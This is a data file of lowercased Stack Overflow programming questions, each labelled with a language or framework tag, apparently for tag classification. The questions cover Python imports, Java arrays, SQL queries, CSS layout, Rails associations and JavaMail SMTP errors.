python - import external file via command line  i am aware that this is in principle a question that has been asked a lot already. but i have a more specific question within this general thing of importing external files.    so  i have a few external files that each contain a database - different grammars for parsing text - that is required for my main script to run. i want to pass the external databse-scripts through as a command line argument. a single one per call of the main script. so i wrote the following sequence at the top of my main script:   <pre><code>extgrammar = sys.argv[-1] import extgrammar </code></pre>   so my reasoning was to give the variable extgrammar the name of the command line argument that corresponds to whatever name the database file in question has  and then import that file. just as if i had written   <pre><code>import grammar1 </code></pre>   if i had an external file grammar1.py    but i get the error “importerror: no module named extgrammar”    which i don t understand. where is the flaw in my reasoning and what is a correct way of doing this     thanks,python
java dynamic array sizes   i have a class - xclass   that i want to load into an array of xclass so i the declaration:   <pre><code>xclass mysclass[] = new xclass[10]; myclass[0] = new xclass(); myclass[9] = new xclass(); </code></pre>   however  i don t know if i will need 10. i may need 8 or 12 or any other number for that matter. i won t know until runtime.  can i change the number of elements in an array on the fly   if so  how,java
any way to change iphone ringtone programmactically   hi all     i need to change the iphone ringtone and wallpaper programmatic by my application .is there any api in iphone os 4 or in lower version by whcich we can change the iphone ringtone by our code.    thanks,iphone
what is the difference between an html element and an html tag   what is the difference between an html element and an html tag    is there any difference with rendering   any there special considerations when using a tag or an element,html
need to stop alert on interval  my problem is that end button is not working and my alert is still showing like i have never clicked end button   <pre><code>&lt;form&gt;&lt;input type= button  value= startalert  onclick= haf() &gt;&lt;/form&gt; &lt;form&gt;&lt;input type= button  value= endalert  onclick= wuf() &gt;&lt;/form&gt; &lt;script&gt; function haf() { var wtf = window.setinterval(function() { alert( rekt )}   1000); } &lt;/script&gt; &lt;script&gt; function wuf() { window.clearinterval(wtf); } &lt;/script&gt; </code></pre>,javascript
convert.todatetime(d) compared to (datetime)d  if i have a value <strong>d</strong> and want to ensure it is type datetime then is there a difference between the following    <ol> <li><code>datetime dtm = convert.todatetime(d)</code></li> <li><code>datetime dtm = (datetime)d</code></li> </ol>   1 is a conversion whereas 2 is a cast  (i assume in certain respects 2 is a <em>lighter</em> operation )<br> when should i use 1 rather than 2     <hr>   <strong>edit</strong>    (context of question)    <strong>d</strong> is from a cell in a <code>datatable</code>. what i m doing is finding any cells that are dates (via the <code>datatable.columnname</code>) and then apply the <code>tooadate</code> function to the result before moving it to xl. so if <code>dr</code> is my <code>datarowview</code> then i have either of the following alternatives:   <pre><code>//convert datetime dtm; dtm = convert.todatetime(dr[i - 1]); xlworksheet.cells[rowcount  i].value = dtm.tooadate();  //cast datetime dtm; dtm = (datetime)dr[i - 1]; xlworksheet.cells[rowcount  i].value = dtm.tooadate(); </code></pre>,c#
accessing variables through a singleton vs through the activity  i m re-writing parts of an application that now uses one activity. within that activity is a navigation drawer  which points to different fragments each containing several nested fragments which are displayed through a viewpager.    previously in order to keep hold of variables that needed to be accessed between activities  i would use a singleton. now this is no longer necessary for my fragments  as i can use getactivity() to access variables that will be shared between all of these fragments.    however  when the activity is paused  i need to store these variables once again in the singleton so that they can be re-initialized when the activity is resumed.    so  if indeed the singleton is necessary for the application to work as it should  is it better that my fragments access variables through the activity  or could i just as well use the singleton to grab/update shared variables,android
how to hand-in an xcode project in a wise way   well  i have my xcode project done recently  which is a  promising  ios app  and need to be evaluated by my boss in order to apply for a development group. but  no wonder  bosses are always  u know  lack of  professional  skills. i even cannot assume them to have an xcode compiler on his computer.    but  i need to present what i have done in a intuitive way. i have already finished a  project report   and i have to hand them in together with my project codes. well  that s the rule  and i cannot stay with my bosses to explain  how to open the file ..    so  i am wondering if there is a more simple way to show them the app. luckily  i can burn a cd to store the things they need. however  obviously  i rank  give them a xcode install file  as the least choice.    is there any better way that i can show my work  i.e. provide an ios simulator with that app pre installed  how could that happen  or any way else     by the way  i have tried to upload it on app store  but failed. since it is just a raw beta version (too ugly to be listed on store  as apple explained). and i have heard that i can use  enterprise distribution  to skip app store check. but  i cannot have an  enterprise license .,ios
how to get c-style string functions working   i m trying to make function that counts vowels and consonants in a c-style string  as well as change the string to uppercase. whenever i run the function to it always returns with  0 . what can i do to fix this  thanks for the help.    <pre><code> int count(const char[]  int counter){   counter= 0;  for(int i = 0; line.length[]; i++){      if(line[i] ==  a  || line[i] ==  e  || line[i] ==  i  ||      line[i] ==  o      || line[i] ==  u ){      --counter; }  void uppercase(const char[]){  for(int i = 0; line.length[]; i++) { toupper(line[i]); }  } </code></pre>,c++
how to add users for windows authentication / iis  i m porting a legacy (read ancient) .asp application to a new server for backup purposes. it uses this code to determine the user:    slogonuser = lcase(request.servervariables( logon_user ))    i believe in order for this field to be populated  i ve got to turn on  windows integratged authentication  using iis manager. i ve done this  but now i get an error message stating  the website cannot be displayed . i think this must have to do with authentication  because even a simple  hello.asp  has the same problem.     this leads me to believe that valid windows users have to be registered on the new server. is this  active directory   what s the best way to go about adding users,asp.net
keyboard bug when use uikeyboardappearancedark - objective c  when i call this code the keyboard become with gray color. but sometimes the keyboard show like this image   and return to the gray after i switch keyboard.    <strong>update :</strong>    i think its happened after i open alert view and the keyboard was open.    <a href= https://i.stack.imgur.com/tb7wg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tb7wg.png  alt= enter image description here ></a><br>  [paypaladdresstextfield setkeyboardappearance:uikeyboardappearancedark];    <a href= https://i.stack.imgur.com/8patu.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/8patu.png  alt= enter image description here ></a>,objective-c
how to call a function inside an append   i have an append   <pre><code>$( #accordionwiki ).append(    &lt;div class= panel panel-default  id= headingwiki_ +i+  &gt;    &lt;div class= panel-body &gt; function &lt;/div&gt;   &lt;/div&gt;  ); </code></pre>   and a function like   <pre><code>function wikitext() {   $.getjson( https://en.wikipedia.org/w/api.php action=parse&amp;format=json&amp;prop=text&amp;callback=    {.. } </code></pre>   i tried to put wikitext(); inside the append where i wrote <strong>function</strong> but i got something wrong  maybe concatenation  not sure.,jquery
how can i read a key pressing only first time in libgdx   i am working on a amateur project and i have a problem. if you help  i ll be happy. i am using <code>libgdx</code> and in my program i must read something on keyboard in render function. when i used <code>iskeypressed</code> like this:   <pre><code>if(gdx.input.iskeypressed(input.keys.num_1)){     x = 1; try{              thread.sleep(500);              }catch(interruptedexception e){}     } if(x == 1){ if(gdx.input.iskeypressed(input.keys.num_1)){ ...     }  } </code></pre>   if i press<code>num_1</code> and release it  part of ... is working. how can i prevent it. it is my first time with <code>libgdx</code> and i couldn t find any way.,java
how to append two nsmutablearray s in iphone sdk or append an nsarray with nsmutablearray   i need to append two nsmutablearray s can any one suggest me how it possible     my code is:   <pre><code>nsmutablearray *array1 = [appdelegate gettextlist:1]; nsarray *array2 = [appdelegate gettextlist:2]; [array1 addobjectsfromarray:array2];//i am getting exception here. </code></pre>   anyone s help will be much appreciated.    thanks all  lakshmi.,objective-c
display tumblr blog in wordpress but only for a certain category  all  i have a wordpress blog but i have a client that uses tumblr for their blogs. i know that there are wordpress plugins out there that import the tumblr blogs into wordpress but i don t want to do that. i d like it to just go out and pull the tumblr blogs for a category of  news  for example and then display them as wordpress blog posts.    has anyone ever done anything like this  does anyone have an ideas     thanks,php
how to substring an nsstring in ios  i have an    <pre><code>nsstring *str=@ 123456789123456789123456 ; </code></pre>   my new string should be    <pre><code>nsstring *newstr =@ 1234 5678 9123 4567 8912 3456 ; </code></pre>   can any one help me  thanks in advance,ios
how to extract an integer number in a string  within a specific characters    i want to get an integer number  in a string  in java. the string is:   <pre><code>&lt;a target= _blank  href= http://www.gazzetta.it/calcio/fantanews/statistiche/serie-a-2014-15/andrea_pirlo_669 &gt;pirlo a.&lt;/a&gt; </code></pre>   i want to get the value  669   which is between _ and  . i know it is possible to use stringtokenizer  but the code i write is not so good. is there any simpler solution to do that,java
special characters in c string literals  i m writing some c code using the mysql api to create databases  insert  update etc. i m having a little trouble finding the cleanest/correct way to build the queries since the mysql syntax can be tricky to put in a c string  for example  i d like a query to look like this for readability:   <pre><code>   strcpy(query   create table users (                   userid int not null auto_increment  primary key (userid)                    email  varchar(31) not null                    timeentered   timestamp not null default current_timestamp                    address       varchar(31) not null                    index (email))                   ); </code></pre>   then of course i d be running the query with something like    <pre><code>   /* send sql query */    if (mysql_query(conn  query)) {       fprintf(stderr   %s\n   mysql_error(conn));       exit(1);    } else { printf( table created\n ); } </code></pre>   however the compiler complains about expected ‘)’ and missing terminating   etc. whats the best solution,c
c++ -- why should we use operator -> to access member functions of a smartptr   the question is given in the last two lines of code.   <pre><code>template&lt;class t&gt;                    // template class for smart class smartptr {                     // pointers-to-t objects public:   smartptr(t* realptr = 0);    t* operator-&gt;() const;   t&amp; operator*() const;    t* detach( void )   {     t* pdata = pointee;     pointee = null;     return pdata;   }    private:   t *pointee;   ... };  class testclass {}  smartptr&lt;testclass&gt; sptr(new testclass);  testclass* ptra = sptr-&gt;detach(); // why i always see people use this method to access member functions of a smart pointer. // we can use sptr-&gt; b/c we have defined operator-&gt;() in smartptr.      testclass* ptrb = sptr.detach();   // question: is this a valid c++ way  if not  why  </code></pre>   thank you,c++
how does marking a variable as final allow inner classes to access them   an <strong>inner class</strong> defined inside a method cannot access the method s local variables unless these local variables are marked <code>final</code>.i ve looked at other posts in stack-overflow and java code ranch but none of them seem to be exactly answering the question as to how marking variables final allows inner class to access local variables in the method.    <pre><code>class myouter {     private string x =  outer ;      void fly(final int speed) {         final int e = 1;         class flyingequation {              public void seeouter()             {                 system.out.println( outer x is   + x);             }             public void display()             {                 system.out.println(e);// line 1                 system.out.println(speed);// line 2             }         }         flyingequation f=new flyingequation();         f.seeouter();         f.display();     }            public static void main(string args[])     {         myouter mo=new myouter();         mo.fly(5);     } } </code></pre>   explanations i found to this :     <strong>local variables</strong> are stored on stack and as soon as the method call finishes the stack is popped up and <strong>local variables</strong> are inaccessible whereas  <strong>final local variables</strong> are stored in <strong>data section of memory</strong> potentially allowing <code>jvm</code> to access them even after the end of the method call. where is the <code>data section of memory</code>   i believe all <strong>local variables final or not</strong> are stored on the stack.when the method is removed from the stack the final variable will be removed with it. is it that the value in the final variable is stored with the object in the heap      it does not support non-final fields as they could be changed  either by the method or the class and this is not supported because in reality there are two different fields/variables.,java
can date_part be used in having clause   when the following sql query is executed  it seems that the having clause doesn t take any effect.   <pre><code>select    day_of_week     fc     gl     case when count(inbound_allocation_factors) is null then 0 else count(inbound_allocation_factors) end as num_of_factors     date(request_datetime) as date from       allocationworkflow_with_gl group by day_of_week fc gl date having day_of_week = date_part(dw max(request_datetime)) </code></pre>   request_datetime is a timestamp  and day_of_week is integer from 0 to 6 indicating sunday to saturday. by the way  i m using redshift. could anyone help me  many thanks!,sql
python calling function twice one after another but second storing value from first  i am using python so can someone tell me how to call same function twice in python but when you call it the second time it should be changed an already have value stored in it when you called the function the first time  so i basically mean you are calling the function first time and right after that you are calling it again but with the return value from the first time you called that function.,python
select maximum two mark out of three  i have table contain the mark for three exam for one subject each mark in different column how to select best two mark from the three column,sql
need solution to reduce object creation  used spring - but have a problem   method explained in detail  i am using spring to reduce new objects creation  for the number of resultset available  i will create a row object inside and add the row object in a rowset object  which maintains a list of rows.    my code goes like this.   <pre><code> while(rs.next()) {    row r = new row();    //logic    rowset.addrow(r); } </code></pre>   my rs will have atleast a minimum of 3000 rows  so there will be a 3000 row object injected  so to avoid it  i used spring injection like   <pre><code> while(rs.next()) {     row r = (row)getapplicationcontext().getbean( row );    //logic    rowset.addrow(r); } </code></pre>   but the problem here is when the second row object is added to the rowset  the first row object s values are overriden with second row object and when last row is added   all the 1 to last-1 row objects values are updated as last row object values.     this is my rowset calss   <pre><code>public class rowset {  private arraylist m_alrow;  public rowset() {  m_alrow = new arraylist();  }  public void addrow(row row) {  m_alrow.add(row);  } } </code></pre>   i need a solution   such that the new row object creation is avoided inside the while loop with the same logic involved.,java
why are doctype declarations split on two lines   i know there s more important questions to discuss probably  but at the cost of appearing a fool  i d like an answer ;-)    take this for instance:   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01//en   http://www.w3.org/tr/html4/strict.dtd &gt; </code></pre>   is it to comply to the 80 column standard  also  i normally use single quotes in my html as they re easier on the eye  does it make any difference to browsers  will it send ie6 in quirks mode putting it on one line and single-quoting attributes     thanks,html
condition using char in java  just wondering how do i print this. if the user input condition is correct  trying to make it print out later to display results   <pre><code>if(skilllevel &gt; 1) {         system.out.println( would you like to sign up for medical y/n  );         medical = sc.next().charat(0);         if (medical ==  y ) {             totalpay = totalpay -  23.50;         }         if(medical ==  y ) {            system.out.println( \nmedical insurance cost : -$23.50 );            }  } </code></pre>,java
how to insert data from second row in tableview in iphone  i  need your help.i need to insert data dynamically but insertion should be from the second row in the tableview in iphone.how can i do this.,iphone
rails to symbol problems  error: undefined method `[]  for nil:nilclass  background info: a deal has many coupons (@freedeals contains all those coupons) and a coupon belongs_to a deal.    controller:   <pre><code> @freecoupons = coupon.where(discount: 100).order( created_at desc ).page(params[:page])  @deals = deal.all </code></pre>   this code below works exactly like i want and finds the title for the deal (hard coded in the 2 for testing purposes)   <pre><code>&lt;% @freecoupons.each do |f| %&gt;       &lt;%= @deals[2][:title] %&gt;   &lt;% end %&gt; </code></pre>   but when i switch it over to trying to find the title of the deal based on the coupons association through f.deal_id   <pre><code>&lt;% @freecoupons.each do |f| %&gt;       &lt;%= @deals[f.deal_id][:title] %&gt;  &lt;% end %&gt; </code></pre>   it gives me this error  undefined method `[]  for nil:nilclass . not sure what i m missing here. is it a symbol problem that i m missing  any help would be appreciated.,ruby-on-rails
remove first character if quotation mark  i have the following two strings:   <pre><code>/volumes/iscsiraid_04/portal_assets/noviydisk_fourlions_trailer  /volumes/newfile.mov </code></pre>   how would i remove the first character of the string  if it = <code> </code>     i was thinking:   <pre><code>update users set data = substr(data  2); </code></pre>   but then this will always do a replace  instead of only when it s a <code> </code>.,mysql
uidevice orientation not returning the correct value  hey this is the code i am using   <pre><code>switch ([[uidevice currentdevice] orientation])           {             case uiinterfaceorientationportrait:                 [self displayactionsheetinpotraitmode];                 break;             case uiinterfaceorientationlandscapeleft:             case uiinterfaceorientationlandscaperight:                 [self displayactionsheetinlandscapemode];                 break;              default:                 break;         } </code></pre>   but when i try it in ios version 4 or 4.1 on the device         switch ([[uidevice currentdevice] orientation])     doesn t return the proper value. my application is to run in ios 4 onwards. how do i rectify this,iphone
in mysql group by and sum() in same mysql query  i want to sum the total seconds like answer is total_seconds 49058 and billable is 540 it group by billable  i already try the below mentioned mysql query.   <pre><code>id   billable total_seconds ---------------------------- 9326      480          2254 9352       60          3657 9352       60          2756 9352       60            14 9326      480          2607 9326      480           122 9326      480           162 9326      480           559 9326      480          2478 9326      480           313 9326      480           234 9326      480           548 9326      480          2400 9326      480           564 9326      480          4449 9326      480         12986 9326      480         12942 9326      480            13 </code></pre>   query:   <pre><code>select distinct      sub.user_id      e.name  e.employee_id      sub.id  sub.billable      history.total_seconds from      v_wa_tasks as t join      v_wa_sub_tasks as sub on t.id = sub.task_id  join      v_wa_task_histories as history on sub.id = history.sub_task_id join      v_employees as e on sub.user_id = e.id   where      e.id = 18      and t.status_id = 5      and t.status_id != 9      and t.task_nature_id != 4       and sub.review_type = 0      and t.start_time between  2017-10-05 00:00:00  and  2017-10-05 23:59:00  </code></pre>,mysql
ma run-time error  3075  syntax error  i have this code and it shows me run-time error  3075  syntax error and i dont know how to fix it . help me please   <pre><code>currentdb.execute  update punonjesit set id_punonjesit=    &amp; me.id &amp;     emer_punonjesi =   &amp; me.emri &amp;     mbiemer_punonjesi=   &amp; me.mbiemri &amp;    mosha=   &amp; me.mosha &amp;     profesioni=   &amp; me.profesioni &amp;     rroga=   &amp; me.rroga &amp;     where id_punonjesit =   &amp; me.id &amp;     </code></pre>,sql
do i need to update an attribute in rails  (and how )  i generated scaffolding for a class: <code>expensereport</code> one of the attributes was <code>type</code> - which i created a selct for  where two options where possible: <code>major</code> and <code>regular</code>.    when submitting the form to create a report  i was pulling this error:    <code>invalid single-table inheritance type: regular is not a subclass of expensereport</code>    my assumption was -  okay  let s just not have an attribute called type  it looks like that may be causing problems.  so i created a migration  renaming type to  report type  and raked (see migration and proof of rake below)    <strong>migration</strong>   <pre><code>class updaecolumnname &lt; activerecord::migration   def change      rename_column :expense_reports  :type  :report_type   end end </code></pre>   <strong>proof of rake</strong>   <pre><code>drews-macbook-pro:depot drewwyatt$ rails generate migration updaecolumnname       invoke  active_record       create    db/migrate/20130820215925_updae_column_name.rb drews-macbook-pro:depot drewwyatt$ rake db:migrate ==  updaecolumnname: migrating ================================================ -- rename_column(:expense_reports  :type  :report_type)    -&gt; 0.0021s ==  updaecolumnname: migrated (0.0021s) ======================================= </code></pre>   now  however  it never ever saves my input  and fires validation with every submit - telling me  report type is not included in the list   is there another attribute name i need to update or something     <strong>relevant _form.html.erb</strong>   <pre><code>&lt;div class= field &gt;     &lt;%= f.label :report_type %&gt;&lt;br&gt;     &lt;%= f.select :report_type  expensereport::types                          prompt:  select one  %&gt;   &lt;/div&gt; </code></pre>   <strong>model</strong>   <pre><code>class expensereport &lt; activerecord::base     validates :place_of_purchase  :items  :reason  :estimated_cost                 :requestor_name  presence: true     types =   [  major    regular  ]     validates :report_type  inclusion: types     sites = [  001 (lubbock)    002 (odessa)    003 (midland)    004 (lubbock)  ]     validates :site  inclusion: sites end </code></pre>,ruby-on-rails
show character typed then mask with password character  i am looking for a method so that when a user types in a password textbox  the character they typed is displayed and shown for 1 sec. then it gets masked with the system password character or any defined password character     i can create an option in the app so that a user can change the textbox  so that it no longer uses a password char but then the entire password is shown :(    i tried using different things using a keypress down event  but couldn t figure out how to do it.    does anyone have any idea if this can be down at all in c#,c#
use linky _blank in angular $filter  i am using linky to create the link from text with a valid url.  using ng-bind-html= string  | linky: _blank    was breaking the html rendering. so i created a custom filter  so that issue is solved. no  i have the link and the proper body. but now the url is opening in the same tab. how do i apply the _blank attribute to linky    <pre><code>my code:      &lt;span ng-bind-html= to_trusted(body | linkywithhtml) &gt;&lt;/span&gt;       app.filter( linkywithhtml   function($filter) {   return function(value) {     if(value){       var linked = $filter( linky )(value.tostring());       var replaced = linked.replace(/\&amp;gt;/g   &gt; ).replace(/\&amp;lt;/g   &lt; );       return replaced;     }   }; }); </code></pre>,angularjs
drop lowest numbers from list in python  i want my  get_average function  to  take number list as the parameter  drops the lowest number from the list  and calculates the average number. the function returns the average number. i m a begainner in python. i don t understand how can i drop lowest number from the list. i m really stuck.    my program so far -    <pre><code>def get_numbers():     numbers = []     num_to_get = int(input( how many numbers do you want to enter  ))     while num_to_get &gt; 0:             num_to_get -= 1             number = int(input( enter a number:  ))             numbers.append(number)      return numbers  def get_average(number_list  number):     total = 0     for number in number_list:         total += number     average = total/len(number_list)      for i in range(len(number_list)):         number_list[i] = 0     number = 0      return average  def show_average(value):     print( average:   value)  def main():     numbers = get_numbers()     print( number list:   numbers)     number = 123     average = get_average(numbers  number)     show_average(average)  main() </code></pre>,python
navigation cant display inline  i am  having some difficulties displaying my navbar inline. this is the html and css code for my project.   <pre><code>&lt;nav&gt;     &lt;ul&gt;         &lt;li&gt;             &lt;%=link_to  tradery   current_user%&gt;         &lt;/li&gt;         &lt;li&gt;             &lt;%=form_tag(  /search   method:  get ) do %&gt;             &lt;%=label_tag(:q    ) %&gt;             &lt;%=text_field_tag(:q) %&gt;             &lt;%=submit_tag(  search ) %&gt;             &lt;%end%&gt;         &lt;/li&gt;         &lt;li&gt;             &lt;%=link_to  tradezone    #  %&gt;         &lt;/li&gt;         &lt;li&gt;             &lt;%=link_to  messages    #  %&gt;         &lt;/li&gt;         &lt;li&gt;             &lt;%=link_to  notifications    #  %&gt;         &lt;/li&gt;         &lt;li&gt;             &lt;%=link_to title= acount     #  %&gt;             &lt;ul&gt;                 &lt;li&gt;                     &lt;%=link_to  user.business.name    # %&gt;                 &lt;/li&gt;                 &lt;li&gt;                     &lt;%=link_to  settings    # %&gt;                 &lt;/li&gt;                 &lt;li&gt;                     &lt;%=link_to  signout    # %&gt;                 &lt;/li&gt;                 &lt;li&gt;                     &lt;%=link_to  create business    # %&gt;                 &lt;/li&gt;                 &lt;li&gt;                     &lt;%=link_to  settings    # %&gt;                 &lt;/li&gt;                 &lt;li&gt;                     &lt;%=link_to  signout    # %&gt;                 &lt;/li&gt;             &lt;/ul&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/nav&gt; </code></pre>   the css for the code:   <pre><code>nav ul ul {     display: none; } nav ul li:hover&gt; ul {     display: block; } nav ul {     display: inline-table;     position: relative;     background: -moz-linear-gradient list-style: none;     top: 100%; } </code></pre>,css
what is the differences of purchase in app and create your own link to pro version   i want to create two version apps: lite and pro. i look through purchase in app guide   but it is not allowed to change the lite version code to add functionality. you can just pop up an store ui to link the user to pro version  right  but in this way  we can do it ourself  we copy the link of pro version in the appstore  then pop up a dialog guide the user to app store     i know that purchase in app can download new resource to the app i may miss something about adding new function to the app     thanks for your guys!,iphone
generic implementation where type could be one of two  so im getting back into c# again  and i encountered the following issue :    i want to create a generic function that can recieve one of two types  something around these lines :   <pre><code>public void remove&lt;t&gt; (t inputvalue) where t : (int or string) </code></pre>   i was quite surprised that i couldnt find any straight forward solution to this.    appreciate your help or a link to somewhere the topic has been touched. thanks!,c#
"target button element to be static when resizing window in css   i have a navbar with a few elements inside it and a button that escapes the navbar when i resize it. what css property should i style to keep the button in css to stop the button from escaping the navbar     attached is a jfiddle of an example of what happens:    <a href= https://jsfiddle.net/6lx0hkfa/  rel= nofollow >https://jsfiddle.net/6lx0hkfa/</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.green-button {
   font-size: 13px;
   display: inline-block;
   height: 50px;
   width: 170px;
   float: left;
   margin-left: 235px;
   padding: 6px 10px;
   background-color: rgb(185  233  137);
   color: rgb(43  150  190);
   text-transform: uppercase;
   border-radius: 0px;
   border-width: 0px;
   border-style: initial;
   border-color: initial;
   box-sizing: border-box;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;section id= header &gt;
   &lt;div class= wrapper &gt;
     &lt;div class= address &gt;7542 fay ave upstairs suite  la jolla  ca 92037&lt;/div&gt;
     &lt;div class= phone &gt;(858) 381-0740&lt;/div&gt;
     &lt;div class= email &gt;sdacneclinic@gmail.com&lt;/div&gt;
     &lt;div class= social &gt;
       &lt;a class= social-btn fb  href= http://facebook.com &gt;&lt;/a&gt;
     &lt;/div&gt;
     &lt;div class= social &gt;
       &lt;a class= social-btn tw  href= http://twitter.com &gt;&lt;/a&gt;
     &lt;/div&gt;
     &lt;div class= social &gt;
       &lt;a class= social-btn ig  href= http://instagram.com &gt;&lt;/a&gt;
     &lt;/div&gt;
     &lt;div class= social &gt;
       &lt;a class= social-btn gp  href= https://plus.google.com &gt;&lt;/a&gt;
     &lt;/div&gt;
     &lt;a href= /contacts &gt;
       &lt;button class= green-button &gt;book consultation&lt;/button&gt;
     &lt;/a&gt;
   &lt;/div&gt;
 &lt;/section&gt;</code></pre>
 </div>
 </div>",css
rails ability to call my class method on an array  considering i have the following classes and some records in the db for each one:   <pre><code>class user &lt; activerecord::base   has_many :user_roles   has_many :roles  :through =&gt; :user_roles end  class role &lt; activerecord::base   has_many :user_roles   has_many :users  :through =&gt; :user_roles    def self.method1      boo!    end end </code></pre>   why does <code>user.first.roles.method1</code> work successfully  i thought user.first.roles returns an <code>array</code>  whose class doesn t have method1 defined.   <pre><code>&gt; user.first.roles.method1 =&gt;  boo!  </code></pre>   of course  <code>role.all.method1</code> throws an undefined method error as i expected.    my stack: ruby 1.9.3p484  rails 3.2.13,ruby-on-rails
how to use self joins to retrieve data from a single table  i have table like this   <pre><code>id     name     pid 101   animal    null 102   dog       101 103   pug       102 </code></pre>   i want animal>dog>pug,sql
failed to connect smtp server  it is showing following error ::   <blockquote>    exception in thread  main  java.lang.runtimeexception:   javax.mail.messagingexception: could not connect to smtp host:   localhost  port: 587  response: 421   at   sendmail.main(sendmail.java:54) caused by:   javax.mail.messagingexception: could not connect to smtp host:   localhost  port: 587  response: 421   at   com.sun.mail.smtp.smtptransport.openserver(smtptransport.java:2088)     at   com.sun.mail.smtp.smtptransport.protocolconnect(smtptransport.java:699)     at javax.mail.service.connect(service.java:388)     at   javax.mail.service.connect(service.java:246)  at   javax.mail.service.connect(service.java:195)  at   javax.mail.transport.send0(transport.java:254)    at   javax.mail.transport.send(transport.java:124)     at   sendmail.main(sendmail.java:49) java result: 1 build successful (total   time: 2 seconds)  </blockquote>   and my code is:   <pre><code>`public class sendmail {      public static void main(string[] args) throws exception{          final string smtp_host =  smtp.gmail.com ;         final string smtp_username =  xxx@gmail.com ;         final string smtp_password =  xxxxxx ;         final string smtp_connection =  tls ;           final string toemail= xxx@gmail.com ;         final string fromemail= yyy@example.com ;          properties props = new properties();         props.put( mail.smtp.auth    true );         if (smtp_connection.equals( tls )) {                 props.put( mail.smtp.starttls.enable    true );                 props.put( mail.smtp.port    587 );         } else{                 props.put( mail.smtp.socketfactory.port    465 );                 props.put( mail.smtp.socketfactory.class    javax.net.ssl.sslsocketfactory );                 props.put( mail.smtp.port    465 );         }          session session = session.getinstance(props            new javax.mail.authenticator() {                 protected passwordauthentication getpasswordauthentication() {                         return new passwordauthentication(smtp_username  smtp_password);                 }           });          try {             message msg = new mimemessage(session);             msg.setfrom(new internetaddress(fromemail   noreply ));             msg.addrecipient(message.recipienttype.to                               new internetaddress(toemail   mr. recipient ));             msg.setsubject( welcome to javamail api );             msg.settext( javamail api test - sending email example through remote smtp server );             transport.send(msg);             system.out.println( email sent successfully... );         } catch (addressexception e) {             throw new runtimeexception(e);         } catch (messagingexception e) {             throw new runtimeexception(e);         }     } }` </code></pre>,java
how to make text appear underneath when pressing on a sentence  in my faq-form i have some questions and some answers. when you press on the question  which is a blue link  i want it to appear a text underneath that gives the answer to that question.     how can i implement this,html
difference in site apperance when viewed in firefox and chrome  open the following url in chrome <a href= http://www.nextag.com/camera/stores-html  rel= nofollow >www.nextag.com/camera/stores-html</a> and refresh the page    notice the location of the help icon next to zip code on top right corner..it is misaligned now open the same in firefox.. it is properly aligned..    css code for this is as follows:    <pre><code>background: none repeat scroll 0 0 white; border: 1px solid #c2cccc; border-radius: 4px 4px 4px 4px; color: #c2cccc; display: block; float: right; font-weight: bold; height: 13px; margin-left: 4px; text-align: center; width: 12px; padding-right: 1px; </code></pre>   to make it work in firefox.. i added the following 3 attributes:   <pre><code>position: relative; top: -15px; left: 18px; </code></pre>   then it started working fine in chrome  but now it got misaligned in firefox.. what do i do,css
copy constructor doesn t work when the class is used as a map value  i can t find a simpler way to explain my problem than straight pasting it here(a simplified version though). i have a templated class with necessary assignment operator  default constructor and a <code>common</code> copy constructor. when i try to use this class in my code i get an error as follows:   <pre><code>#include&lt;map&gt; #include&lt;vector&gt;  template&lt;class t&gt; class buffercontainer { public:      buffercontainer&amp; operator=(buffercontainer&amp; other)     {         buffer = other.get();         return *this;     }      buffercontainer( const buffercontainer&amp; other ) :         buffer( other.get() )      {      }      buffercontainer(){     }      std::vector&lt;t&gt;&amp; get() {             return buffer;     }      void add(t value) {          buffer.push_back(value);     }      std::vector&lt;t&gt; buffer; };  int main() {     std::map&lt;int  buffercontainer&lt;int&gt; &gt; mymap;     mymap[1].add(1);     return 1; } </code></pre>   and the error is:   <pre><code>practice $ g++ template.cpp  template.cpp: in instantiation of ‘buffercontainer&lt;t&gt;::buffercontainer(const buffercontainer&lt;t&gt;&amp;) [with t = int; buffercontainer&lt;t&gt; = buffercontainer&lt;int&gt;]’: /usr/include/c++/4.7/bits/stl_pair.h:105:31:   required from ‘std::pair&lt;_t1  _t2&gt;::pair(const _t1&amp;  const _t2&amp;) [with _t1 = const int; _t2 = buffercontainer&lt;int&gt;]’ /usr/include/c++/4.7/bits/stl_map.h:458:11:   required from ‘std::map&lt;_key  _tp  _compare  _alloc&gt;::mapped_type&amp; std::map&lt;_key  _tp  _compare  _alloc&gt;::operator[](const key_type&amp;) [with _key = int; _tp = buffercontainer&lt;int&gt;; _compare = std::less&lt;int&gt;; _alloc = std::allocator&lt;std::pair&lt;const int  buffercontainer&lt;int&gt; &gt; &gt;; std::map&lt;_key  _tp  _compare  _alloc&gt;::mapped_type = buffercontainer&lt;int&gt;; std::map&lt;_key  _tp  _compare  _alloc&gt;::key_type = int]’ template.cpp:38:9:   required from here template.cpp:16:26: error: passing ‘const buffercontainer&lt;int&gt;’ as ‘this’ argument of ‘std::vector&lt;t&gt;&amp; buffercontainer&lt;t&gt;::get() [with t = int]’ discards qualifiers [-fpermissive] </code></pre>   i will appreciate if you help me with the methods to solve this issue and  more importantly  tell me why i got this error. thanks,c++
how to make field wider   im trying to make wider field of  last post  in phpbb. i edited css  lastpost  class from 250 to 300 value but looks like left fields are not responsible so extended field goes on next line and forum s list get f*ed up. what i should edit more     address of phpbb is: <a href= http://schiza.me  rel= nofollow >http://schiza.me</a>    thanks,css
immediately invoked functions as property assignment in objects.  while going through the types of function we can write  i thought of this type of function.  i was referring this link : <a href= https://www.bryanbraun.com/2014/11/27/every-possible-way-to-define-a-javascript-function/  rel= nofollow noreferrer >https://www.bryanbraun.com/2014/11/27/every-possible-way-to-define-a-javascript-function/</a>    i combined the immediately invoked and property assignment types and its working.  can you guys please help me in correcting me if i am wrong.    here is the code snippet with the output i console.   <pre><code>var obj = {   sum : (function(num1  num2){     console.log(num1 +  num2);   })(1 2) }  var obj2 = {   sum : (function add(num1  num2){   console.log(num1+num2); })(2 3) } </code></pre>   console output :   <pre><code>//3 //5 </code></pre>,javascript
